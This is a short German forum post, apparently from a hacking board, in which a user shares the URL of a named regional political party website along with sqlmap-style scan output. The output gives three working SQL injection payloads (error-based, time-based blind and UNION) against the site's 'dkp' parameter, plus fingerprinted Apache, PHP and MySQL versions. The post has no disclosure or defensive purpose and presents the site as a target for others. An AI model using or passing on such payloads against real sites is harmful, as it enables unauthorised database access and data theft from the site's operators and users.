Keine Antworten in diesem Thema

[cooky1]

bin mir nicht sicher, ob diese seite schonmal gepostet wurde:
 

http://www.dkp-niedersachsen.de/bezirk/dkp.php?dkp=1

Parameter: dkp (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: dkp=1' AND (SELECT 6674 FROM(SELECT COUNT(*),CONCAT(0x71627a7871,(SELECT (ELT(6674=6674,1))),0x717a627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'QTLz'='QTLz

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: dkp=1' AND (SELECT * FROM (SELECT(SLEEP(5)))aQUv) AND 'DRPt'='DRPt

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: dkp=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71627a7871,0x4551757568736e706c58,0x717a627671),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.29, PHP 5.3.29
back-end DBMS: MySQL 5.0